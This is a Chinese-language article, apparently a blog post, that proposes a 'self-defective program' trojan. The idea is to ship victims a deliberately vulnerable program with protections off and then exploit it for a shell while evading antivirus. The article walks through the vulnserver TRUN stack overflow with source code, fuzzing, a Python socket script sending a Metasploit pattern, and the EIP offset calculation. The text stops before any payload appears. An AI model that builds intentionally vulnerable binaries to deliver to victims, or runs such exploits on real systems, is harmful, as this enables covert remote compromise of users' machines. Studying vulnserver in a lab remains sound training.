原创另类木马研究--自缺陷程序(SDP)
这个木马是我去年灵光一闪出现的思路,因为我是ctf全栈方向,也在学渗透测试和内网,有一天在我学二进制安全的时候,成功pwn掉程序拿到服务器shell,这时,我突然想到,假如这个程序是我自己写的,然后把防护都关掉,在写的时候故意写一些栈溢出或者堆溢出的漏洞,然后发给受害者运行,因为我自己知道漏洞点,我可以直接用早就准备好的一个脚本去攻击这个程序,然后拿到shell,这个方式可以绕过市面上所有杀软,因
前言
这个木马是我去年灵光一闪出现的思路,因为我是ctf全栈方向,也在学渗透测试和内网,有一天在我学二进制安全的时候,成功pwn掉程序拿到服务器shell,这时,我突然想到,假如这个程序是我自己写的,然后把防护都关掉,在写的时候故意写一些栈溢出或者堆溢出的漏洞,然后发给受害者运行,因为我自己知道漏洞点,我可以直接用早就准备好的一个脚本去攻击这个程序,然后拿到shell,这个方式可以绕过市面上所有杀软,因为是一个正常程序,只不过内部有漏洞,漏洞程序在目标机子上运行,杀软自然检测不出来,这时,可操作性就很多了
这篇文章主要是对自缺陷程序(Self Defective Program)的原理介绍和实战演示,本文希望够为任何试图开始对木马免杀进行安全研究的人提供指导
什么是缓冲区溢出&栈溢出
在程序运行时,系统会为程序在内存里生成一个固定空间,如果超过了这个空间,就会造成缓冲区溢出,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,甚至可以取得系统特权,进而进行各种非法操作。

程序在运行时,会在内存里生成一个栈空间,这个栈空间里会存放用户输入的一些值和寄存器里的值,栈溢出攻击就是我们输入的字符覆盖掉了特殊的寄存器里的值,从而达到控制程序执行流的一个效果
列如,这里我要覆盖栈上指定位置的一个数据
源代码分析
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
首先程序定义了两个函数变量
volatile int modified;
char buffer[64];
整数型变量 modified 和字符型变量buffer,其中字符型变量buffer的字符存储最大为64个字节
然后程序检测了我们输入的参数
if(argc == 1) {
errx(1, "please specify an argument\n");
}
如果我们只运行程序,不输入参数就会输出please specify an argument并结束程序
之后程序定义了一个变量和进行了一个字符串复制操作
modified = 0;
strcpy(buffer, argv[1]);
modified变量为0,然后将我们输入的参数复制到buffer变量里
然后程序做了一个简单的if判断
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
如果modified变量等于0x61626364就输出you have correctly got the variable to the right value,代表着我们破解成功
0x61626364是十六进制,转换字符串是大写的ABCD
也就是说,我们使modified变量变成ABCD就成功了,但是modified变量设置为0,这里我们就需要栈溢出覆盖变量原本设置的值
汇编分析
使用gdb打开程序,输入指令查看汇编代码
set disassembly-flavor intel
disassemble main

0x08048464 <main+0>: push ebp
0x08048465 <main+1>: mov ebp,esp
0x08048467 <main+3>: and esp,0xfffffff0
0x0804846a <main+6>: sub esp,0x60
0x0804846d <main+9>: cmp DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>: jne 0x8048487 <main+35>
0x08048473 <main+15>: mov DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>: mov DWORD PTR [esp],0x1
0x08048482 <main+30>: call 0x8048388 <errx@plt>
0x08048487 <main+35>: mov DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>: mov eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>: add eax,0x4
0x08048495 <main+49>: mov eax,DWORD PTR [eax]
0x08048497 <main+51>: mov DWORD PTR [esp+0x4],eax
0x0804849b <main+55>: lea eax,[esp+0x1c]
0x0804849f <main+59>: mov DWORD PTR [esp],eax
0x080484a2 <main+62>: call 0x8048368 <strcpy@plt>
0x080484a7 <main+67>: mov eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>: cmp eax,0x61626364
0x080484b0 <main+76>: jne 0x80484c0 <main+92>
0x080484b2 <main+78>: mov DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>: call 0x8048398 <puts@plt>
0x080484be <main+90>: jmp 0x80484d5 <main+113>
0x080484c0 <main+92>: mov edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>: mov eax,0x80485f3
0x080484c9 <main+101>: mov DWORD PTR [esp+0x4],edx
0x080484cd <main+105>: mov DWORD PTR [esp],eax
0x080484d0 <main+108>: call 0x8048378 <printf@plt>
0x080484d5 <main+113>: leave
0x080484d6 <main+114>: ret
程序最关键的地方在这里
0x080484a7 <main+67>: mov eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>: cmp eax,0x61626364
0x080484b0 <main+76>: jne 0x80484c0 <main+92>
它使用mov指令将esp+0x5c栈内地址的值移动到eax寄存器里,然后用cmp指令将eax寄存器里的值与0x61626364做对比,如果对比的值不一样就执行jne指令跳转到0x80484c0地址继续执行其他指令
程序动态分析
我们先在程序执行对比指令的地址下一个断点
b *0x080484ab
然后设置一下自动运行我们设置的命令
define hook-stop
info registers //显示寄存器里的地址
x/24wx $esp //显示esp寄存器里的内容
x/2i $eip //显示eip寄存器里的内容
end //结束

然后执行程序,并指定参数
r AAAAAAAA

程序执行到我们设置的断点处自动执行了我们上面设置的命令,在这里可以看到我们输入的8个大写A在栈中的位置,并且eax寄存器里的值为0
之前说过,程序将esp+0x5c地址处的值移动到了eax寄存器里,然后执行对比指令
我们查看esp+0x5c地址存放的值
x/wx $esp+0x5c

esp+0x5c地址就是栈里的0xbffff78c,每一段存放四个字符,c代表的是12
从存放我们输入的值的栈地址到esp+0x5c,中间共有64个字符,也就是说,我们需要输出64个字符+4个我们指定的字符才能覆盖modified变量
在这里还有一个知识点是在x86架构里,读取是由低到高的,要使modified变量变成0x61626364,不能直接输入abcd,而是dcba
python -c "print('A'*(4*16)+'dcba')"

成功覆盖了栈上指定位置的一个数据,这就是栈溢出的一种利用方式,如果我们能控制程序EIP寄存器,就能控制整个程序执行流,关于什么是EIP寄存器,下面会提到
自缺陷程序源代码
这里,我拿一个存在栈溢出漏洞的windows可执行文件来演示,文件下载链接:
https://github.com/stephenbradshaw/vulnserver
主程序源代码:
#define _WIN32_WINNT 0x501
#include <windows.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#include <stdio.h>
#define VERSION "1.00"
#define DEFAULT_BUFLEN 4096
#define DEFAULT_PORT "9999"
void Function1(char *Input);
void Function2(char *Input);
void Function3(char *Input);
void Function4(char *Input);
DWORD WINAPI ConnectionHandler(LPVOID CSocket);
int main( int argc, char *argv[] ) {
char PortNumber[6];
const char Usage[94] = "Usage: %s [port_number]\n\nIf no port number is provided, the default port of %s will be used.\n";
if ( argc > 2) {
printf(Usage, argv[0], DEFAULT_PORT);
return 1;
} else if ( argc == 2 ) {
if ( (atoi(argv[1]) > 0) && (atoi(argv[1]) < 65536) && (strlen(argv[1]) < 7) ) {
strncpy(PortNumber, argv[1], 6);
} else {
printf(Usage, argv[0], DEFAULT_PORT);
return 1;
}
} else {
strncpy(PortNumber, DEFAULT_PORT, 6);
}
printf("Starting vulnserver version %s\n", VERSION);
EssentialFunc1(); // Call function from external dll
printf("\nThis is vulnerable software!\nDo not allow access from untrusted systems or networks!\n\n");
WSADATA wsaData;
SOCKET ListenSocket = INVALID_SOCKET,
ClientSocket = INVALID_SOCKET;
struct addrinfo *result = NULL, hints;
int Result;
struct sockaddr_in ClientAddress;
int ClientAddressL = sizeof(ClientAddress);
Result = WSAStartup(MAKEWORD(2,2), &wsaData);
if (Result != 0) {
printf("WSAStartup failed with error: %d\n", Result);
return 1;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
hints.ai_flags = AI_PASSIVE;
Result = getaddrinfo(NULL, PortNumber, &hints, &result);
if ( Result != 0 ) {
printf("Getaddrinfo failed with error: %d\n", Result);
WSACleanup();
return 1;
}
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
if (ListenSocket == INVALID_SOCKET) {
printf("Socket failed with error: %ld\n", WSAGetLastError());
freeaddrinfo(result);
WSACleanup();
return 1;
}
Result = bind( ListenSocket, result->ai_addr, (int)result->ai_addrlen);
if (Result == SOCKET_ERROR) {
printf("Bind failed with error: %d\n", WSAGetLastError());
closesocket(ListenSocket);
WSACleanup();
return 1;
}
freeaddrinfo(result);
Result = listen(ListenSocket, SOMAXCONN);
if (Result == SOCKET_ERROR) {
printf("Listen failed with error: %d\n", WSAGetLastError());
closesocket(ListenSocket);
WSACleanup();
return 1;
}
while(ListenSocket) {
printf("Waiting for client connections...\n");
ClientSocket = accept(ListenSocket, (SOCKADDR*)&ClientAddress, &ClientAddressL);
if (ClientSocket == INVALID_SOCKET) {
printf("Accept failed with error: %d\n", WSAGetLastError());
closesocket(ListenSocket);
WSACleanup();
return 1;
}
printf("Received a client connection from %s:%u\n", inet_ntoa(ClientAddress.sin_addr), htons(ClientAddress.sin_port));
CreateThread(0,0,ConnectionHandler, (LPVOID)ClientSocket , 0,0);
}
closesocket(ListenSocket);
WSACleanup();
return 0;
}
void Function1(char *Input) {
char Buffer2S[140];
strcpy(Buffer2S, Input);
}
void Function2(char *Input) {
char Buffer2S[60];
strcpy(Buffer2S, Input);
}
void Function3(char *Input) {
char Buffer2S[2000];
strcpy(Buffer2S, Input);
}
void Function4(char *Input) {
char Buffer2S[1000];
strcpy(Buffer2S, Input);
}
DWORD WINAPI ConnectionHandler(LPVOID CSocket) {
int RecvBufLen = DEFAULT_BUFLEN;
char *RecvBuf = malloc(DEFAULT_BUFLEN);
char BigEmpty[1000];
char *GdogBuf = malloc(1024);
int Result, SendResult, i, k;
memset(BigEmpty, 0, 1000);
memset(RecvBuf, 0, DEFAULT_BUFLEN);
SOCKET Client = (SOCKET)CSocket;
SendResult = send( Client, "Welcome to Vulnerable Server! Enter HELP for help.\n", 51, 0 );
if (SendResult == SOCKET_ERROR) {
printf("Send failed with error: %d\n", WSAGetLastError());
closesocket(Client);
return 1;
}
while (CSocket) {
Result = recv(Client, RecvBuf, RecvBufLen, 0);
if (Result > 0) {
if (strncmp(RecvBuf, "HELP ", 5) == 0) {
const char NotImplemented[47] = "Command specific help has not been implemented\n";
SendResult = send( Client, NotImplemented, sizeof(NotImplemented), 0 );
} else if (strncmp(RecvBuf, "HELP", 4) == 0) {
const char ValidCommands[251] = "Valid Commands:\nHELP\nSTATS [stat_value]\nRTIME [rtime_value]\nLTIME [ltime_value]\nSRUN [srun_value]\nTRUN [trun_value]\nGMON [gmon_value]\nGDOG [gdog_value]\nKSTET [kstet_value]\nGTER [gter_value]\nHTER [hter_value]\nLTER [lter_value]\nKSTAN [lstan_value]\nEXIT\n";
SendResult = send( Client, ValidCommands, sizeof(ValidCommands), 0 );
} else if (strncmp(RecvBuf, "STATS ", 6) == 0) {
char *StatBuf = malloc(120);
memset(StatBuf, 0, 120);
strncpy(StatBuf, RecvBuf, 120);
SendResult = send( Client, "STATS VALUE NORMAL\n", 19, 0 );
} else if (strncmp(RecvBuf, "RTIME ", 6) == 0) {
char *RtimeBuf = malloc(120);
memset(RtimeBuf, 0, 120);
strncpy(RtimeBuf, RecvBuf, 120);
SendResult = send( Client, "RTIME VALUE WITHIN LIMITS\n", 26, 0 );
} else if (strncmp(RecvBuf, "LTIME ", 6) == 0) {
char *LtimeBuf = malloc(120);
memset(LtimeBuf, 0, 120);
strncpy(LtimeBuf, RecvBuf, 120);
SendResult = send( Client, "LTIME VALUE HIGH, BUT OK\n", 25, 0 );
} else if (strncmp(RecvBuf, "SRUN ", 5) == 0) {
char *SrunBuf = malloc(120);
memset(SrunBuf, 0, 120);
strncpy(SrunBuf, RecvBuf, 120);
SendResult = send( Client, "SRUN COMPLETE\n", 14, 0 );
} else if (strncmp(RecvBuf, "TRUN ", 5) == 0) {
char *TrunBuf = malloc(3000);
memset(TrunBuf, 0, 3000);
for (i = 5; i < RecvBufLen; i++) {
if ((char)RecvBuf[i] == '.') {
strncpy(TrunBuf, RecvBuf, 3000);
Function3(TrunBuf);
break;
}
}
memset(TrunBuf, 0, 3000);
SendResult = send( Client, "TRUN COMPLETE\n", 14, 0 );
} else if (strncmp(RecvBuf, "GMON ", 5) == 0) {
char GmonStatus[13] = "GMON STARTED\n";
for (i = 5; i < RecvBufLen; i++) {
if ((char)RecvBuf[i] == '/') {
if (strlen(RecvBuf) > 3950) {
Function3(RecvBuf);
}
break;
}
}
SendResult = send( Client, GmonStatus, sizeof(GmonStatus), 0 );
} else if (strncmp(RecvBuf, "GDOG ", 5) == 0) {
strncpy(GdogBuf, RecvBuf, 1024);
SendResult = send( Client, "GDOG RUNNING\n", 13, 0 );
} else if (strncmp(RecvBuf, "KSTET ", 6) == 0) {
char *KstetBuf = malloc(100);
strncpy(KstetBuf, RecvBuf, 100);
memset(RecvBuf, 0, DEFAULT_BUFLEN);
Function2(KstetBuf);
SendResult = send( Client, "KSTET SUCCESSFUL\n", 17, 0 );
} else if (strncmp(RecvBuf, "GTER ", 5) == 0) {
char *GterBuf = malloc(180);
memset(GdogBuf, 0, 1024);
strncpy(GterBuf, RecvBuf, 180);
memset(RecvBuf, 0, DEFAULT_BUFLEN);
Function1(GterBuf);
SendResult = send( Client, "GTER ON TRACK\n", 14, 0 );
} else if (strncmp(RecvBuf, "HTER ", 5) == 0) {
char THBuf[3];
memset(THBuf, 0, 3);
char *HterBuf = malloc((DEFAULT_BUFLEN+1)/2);
memset(HterBuf, 0, (DEFAULT_BUFLEN+1)/2);
i = 6;
k = 0;
while ( (RecvBuf[i]) && (RecvBuf[i+1])) {
memcpy(THBuf, (char *)RecvBuf+i, 2);
unsigned long j = strtoul((char *)THBuf, NULL, 16);
memset((char *)HterBuf + k, (byte)j, 1);
i = i + 2;
k++;
}
Function4(HterBuf);
memset(HterBuf, 0, (DEFAULT_BUFLEN+1)/2);
SendResult = send( Client, "HTER RUNNING FINE\n", 18, 0 );
} else if (strncmp(RecvBuf, "LTER ", 5) == 0) {
char *LterBuf = malloc(DEFAULT_BUFLEN);
memset(LterBuf, 0, DEFAULT_BUFLEN);
i = 0;
while(RecvBuf[i]) {
if ((byte)RecvBuf[i] > 0x7f) {
LterBuf[i] = (byte)RecvBuf[i] - 0x7f;
} else {
LterBuf[i] = RecvBuf[i];
}
i++;
}
for (i = 5; i < DEFAULT_BUFLEN; i++) {
if ((char)LterBuf[i] == '.') {
Function3(LterBuf);
break;
}
}
memset(LterBuf, 0, DEFAULT_BUFLEN);
SendResult = send( Client, "LTER COMPLETE\n", 14, 0 );
} else if (strncmp(RecvBuf, "KSTAN ", 6) == 0) {
SendResult = send( Client, "KSTAN UNDERWAY\n", 15, 0 );
} else if (strncmp(RecvBuf, "EXIT", 4) == 0) {
SendResult = send( Client, "GOODBYE\n", 8, 0 );
printf("Connection closing...\n");
closesocket(Client);
return 0;
} else {
SendResult = send( Client, "UNKNOWN COMMAND\n", 16, 0 );
}
if (SendResult == SOCKET_ERROR) {
printf("Send failed with error: %d\n", WSAGetLastError());
closesocket(Client);
return 1;
}
} else if (Result == 0) {
printf("Connection closing...\n");
closesocket(Client);
return 0;
} else {
printf("Recv failed with error: %d\n", WSAGetLastError());
closesocket(Client);
return 1;
}
}
}
当我们执行程序时,程序会在9999端口上进行监听,等待用户的输入,如果我们输入TRUN 这个字符串,那么程序会调用Function3这个函数
而这个Function3函数存在栈溢出漏洞,因为它调用了strcpy来复制用户的字符串到Buffer2S变量中,而Buffer2S变量的缓冲区大小只有2000
strcpy 是 C 语言标准库中的一个函数,其原型定义在 <string.h> 头文件中。该函数用于将一个字符串复制到另一个字符串中
虽然 strcpy 在字符串操作中非常常用,但它也带来了显著的安全隐患,主要是因为它不检查目标缓冲区的大小,这可能导致缓冲区溢出
如果源字符串的长度超过了目标缓冲区的大小,strcpy 会继续复制字符到目标缓冲区之外的内存区域,这会覆盖和破坏相邻的内存,导致数据损坏、程序崩溃,甚至可能允许攻击者执行任意代码
这个程序还调用了一个essfunc.dll文件
essfunc.dll源代码:
#include <stdio.h>
#define VERSION "1.00"
void EssentialFunc1() {
printf ("Called essential function dll version %s\n", VERSION);
}
void EssentialFunc2() {
__asm__("jmp *%esp\n\t"
"jmp *%eax\n\t"
"pop %eax\n\t"
"pop %eax\n\t"
"ret");
}
void EssentialFunc3() {
__asm__("jmp *%esp\n\t"
"jmp *%ecx\n\t"
"pop %ebx\n\t"
"pop %ebx\n\t"
"ret");
}
void EssentialFunc4() {
__asm__("jmp *%esp\n\t"
"jmp *%ebx\n\t"
"pop %ebp\n\t"
"pop %ebp\n\t"
"ret");
}
void EssentialFunc5() {
__asm__("jmp *%esp\n\t"
"jmp *%edi\n\t"
"pop %ebx\n\t"
"pop %ebx\n\t"
"ret");
}
void EssentialFunc6() {
__asm__("jmp *%esp\n\t"
"jmp *%edx\n\t"
"pop %ecx\n\t"
"pop %edx\n\t"
"ret");
}
void EssentialFunc7() {
__asm__("jmp *%esp\n\t"
"jmp *%esi\n\t"
"pop %ecx\n\t"
"pop %eax\n\t"
"ret");
}
void EssentialFunc8() {
__asm__("jmp *%esp\n\t"
"jmp *%ebp\n\t"
"pop %eax\n\t"
"pop %edx\n\t"
"ret");
}
void EssentialFunc9() {
__asm__("jmp *%esp\n\t"
"jmp *%esp\n\t"
"jmp *-12(%esp)\n\t"
"pop %ecx\n\t"
"pop %ecx\n\t"
"ret");
}
void EssentialFunc10(char *Input) {
char Buffer2S[140];
strcpy(Buffer2S, Input);
}
void EssentialFunc11(char *Input) {
char Buffer2S[60];
strcpy(Buffer2S, Input);
}
void EssentialFunc12(char *Status, char *Input) {
char Buffer2S[2000];
strcpy(Buffer2S, Input);
printf("%s", Status);
}
void EssentialFunc13(char *Input) {
char Buffer2S[2000];
strcpy(Buffer2S, Input);
}
void EssentialFunc14(char *Input) {
char Buffer2S[1000];
strcpy(Buffer2S, Input);
}
在这个dll文件里,有很多调用寄存器的操作
这个文件主要是为了之后控制寄存器
我们写主程序和这个dll文件时可以更简单一些,这里只是拿一个现成的案例演示
动态分析自缺陷程序
下载安装好immunity debugger后,这里我们也可以用xdbg,主要是要一个动态分析程序的工具,我们双击打开,然后将Vulnserver.EXE拖入immunity debugger


成功拖入了程序,我们双击上方任务栏的开始键,让程序开始运行
缓冲区溢出FUZZ模糊测试
缓冲区溢出模糊测试是你不知道这个空间有多大时而使用的技术,来测试程序在内存空间里大概有多大的空间
kali里有专门测试缓冲区溢出模糊测试的工具,叫做generic_send_tcp,他可以根据一个简单的脚本,来测试程序是否会有缓冲区溢出漏洞
我们写一个简单的脚本
readline(); ##接受服务器的数据
s_string("TRUN "); ##发送TRUN这个字符,测试TRUN这个函数有没有缓冲区溢出漏洞
s_string_variable("0"); ##发送的主体字符串,0
然后保存为.spk文件,我一个一个试了Vulnserver的函数,只有TRUN这个函数有漏洞,用其他的函数,运行工具后Vulnserver不会有任何反应,只有运行TRUN这个函数时,Vulnserver会报错崩溃
在kali的终端里输入
generic_send_tcp 靶机IP 9999 stats.spk 0 0 ##用generic_send_tcp对靶机模糊测试,后面的那两个0是这个工具固定的参数

去看看windows上的程序有什么反应
程序报错终止了,说明有缓冲区溢出的漏洞
找出程序空间有多大
我们需要使用metasploit里的一个工具,他可以生成一长串不同的字符来测试程序空间有多大
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ##这个模块是用来测试程序空间有多大的,-l是要生成字符的长度,3000的字符长度即可

如何我们需要写一个python的小脚本来发送我们的数据
#!/usr/bin/python ##声明文件是用python运行的
import sys ##导入python的sys模块,这是系统模块,可以使终端运行命令
import socket ##导入python的socket模块,这是python通信模块,可以和服务器上的程序交互,接受数据
buff="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
##测试程序空间有多大的字符
while True: ##循环
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) ##使用socket模块来交互程序,用ipv4,TCP协议
s.connect(('192.168.211.128',9999)) ##连接程序,ip和端口号
s.send(('TRUN /.:/' + buff)) ##来发送我们模糊测试的字符串
s.close() ##发送后关闭和程序的连接
except:
print "error server" ##发送失败
sys.exit() ##退出程序
命名保存为.py文件,然后我们给这个程序权限
chmod +x buff.py ## x 赋予程序运行的权限
然后去到windows上,将immunity debugger关闭再双击打开,然后将Vulnserver.EXE拖入immunity debugger,然后双击开始运行,重复一次上面的操作,因为程序崩溃了,要重新运行才行
成功运行Vulnserver后,我们回到kali里,因为我们在程序的第一行声明文件是用python运行的,所以我们可以直接运行文件
./buff.py

运行后我们去windows上看看
程序成功报错终止运行,接下来,我要讲解immunity debugger这四个窗口界面分别是什么
左上角:反汇编窗口,有地址,机器码,机器码对应的汇编指令,注释。
右上角:寄存器窗口,显示程序寄存器的值
左下角:内存窗口,显示内存地址里的值
右下角:堆栈窗口,显示显示调用的堆栈和解码后的函数参数

目前只需要知道这四个窗口的名称是什么即可,其他的之后会讲解
回到程序报错的界面
寄存器的功能是存储一些二进制代码,不同的寄存器有不同的作用,这里,我们要认识一个很重要的寄存器,他叫做EIP,在64位程序里叫做RIP,他是程序的指针,指针就是寻找地址的,指到什么地址,就会运行该地址的参数,控制了这个指针,就能控制整个程序的运行,我们可以看到,图中EIP寄存器的参数是386F4337,很明显,我们用一大堆不同的字符覆盖了EIP原本的参数,还记得缓冲区溢出是什么吗,就是大量的字符溢出原本固定的空间后,覆盖了很多程序寄存器原本的正常的值,所以会报错崩溃
我们回到kali,查找386F4337这个字符在3000个字符里的第几个,我们还是要用metasploit里的一个工具,他能找到386F4337这个字符在3000个字符里的第几个
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337 ##-l 字符长度 -q 寻找

这里我们看到是第2003个字符,程序的空间就是2003个字符长度,知道了空间大小,我们就能控制EIP来执行我们想要执行的参数,比如拿到windows shell
寻找可控的指令
这里,我们需要一个py文件,他可以帮助我们快速找到没有防护的dll文件,可以让我们调用dll里的参数,帮助我们拿到windows shell
下载地址:https://github.com/corelan/mona
然后将mona.py放到\Immunity Debugger\PyCommands下,然后将immunity debugger关闭再双击打开,然后将Vulnserver.EXE拖入immunity debugger,然后双击开始运行,重复一次上面的操作,因为程序崩溃了,要重新运行才行
打开immunity debugger后,在下面的输入框中输入
